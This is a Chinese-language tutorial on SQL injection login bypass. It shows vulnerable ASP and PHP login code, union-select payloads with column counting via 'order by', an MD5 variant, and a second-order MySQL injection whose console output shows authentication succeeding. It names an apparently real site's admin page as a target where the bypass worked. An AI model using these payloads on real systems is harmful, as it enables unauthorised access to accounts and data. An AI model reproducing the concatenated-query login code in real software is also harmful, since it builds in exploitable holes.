—————————asp代码—————————————–
username = request.form("username")
——————————————————————————————————–
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功
End if
现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站http://aks.akszy.com/admin/
用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..
还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。
如果是mysql的话可以搞二次攻击,以下是2月文章:
$link = mysql_connect(‘localhost’, ’root’, ’123456′)
or die(‘Could not connect: ’ . mysql_error());
//echo ’Connected successfully’;
mysql_select_db(‘test’) or die(‘Could not select database’);
//通过uid找到用户id 注意id为int
$query = ”SELECT id FROM admin where uid=’$uid’”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);
$user_id = $line[id];
$query = ”SELECT * FROM admin where id=$user_id”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);
//验证开始
if ($line[pwd] == $pwd){ echo ”验证成功!<br>”; } else { echo ”验证失败!<br>”; }
mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form action=”http://localhost:8080/test.php” method=”POST”>
<input name=uid type=text size=80>
<br>
<input name=pwd type=text size=80>
<br>
<input type=submit>
</form>
很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)
mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+——-+——–+——+
| uid | pwd | id |
+——-+——–+——+
| admin | fuckme | 1 |
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
| id |
+——+
| 1 |
+——+
1 row in set (0.00 sec)
mysql> select id from admin union select ’fuckme,please’;
+—————+
| id |
+—————+
| 1 |
| fuckme,please |
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
| id |
+———————–+
| 1 |
| 0 union select 1,2,3# |
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊
程序输出:
执行的SQL语句为:SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!